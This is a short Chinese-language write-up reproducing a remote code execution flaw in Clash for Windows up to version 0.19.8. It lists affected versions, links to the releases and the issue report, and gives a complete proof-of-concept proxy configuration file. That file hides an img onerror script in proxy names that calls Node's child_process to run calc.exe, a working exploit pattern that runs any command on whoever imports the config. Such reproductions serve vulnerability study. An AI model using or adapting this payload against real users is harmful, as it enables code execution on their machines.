clash_rce_漏洞复现

00x1-受影响版本

版本：小于等于 0.19.8

平台：视窗

操作系统细节：Windows 10

00x2-漏洞复现

复现环境下载地址

1	https://github.com/Fndroid/clash_for_windows_pkg/releases

漏洞poc地址

1	https://github.com/Fndroid/clash_for_windows_pkg/issues/2710

根据自己计算机系统下载相应的版本，建议下载0.19.8版本（但是现在的版本已经被更新到最新的版本）

poc

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true

proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: select
    proxies:
    - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>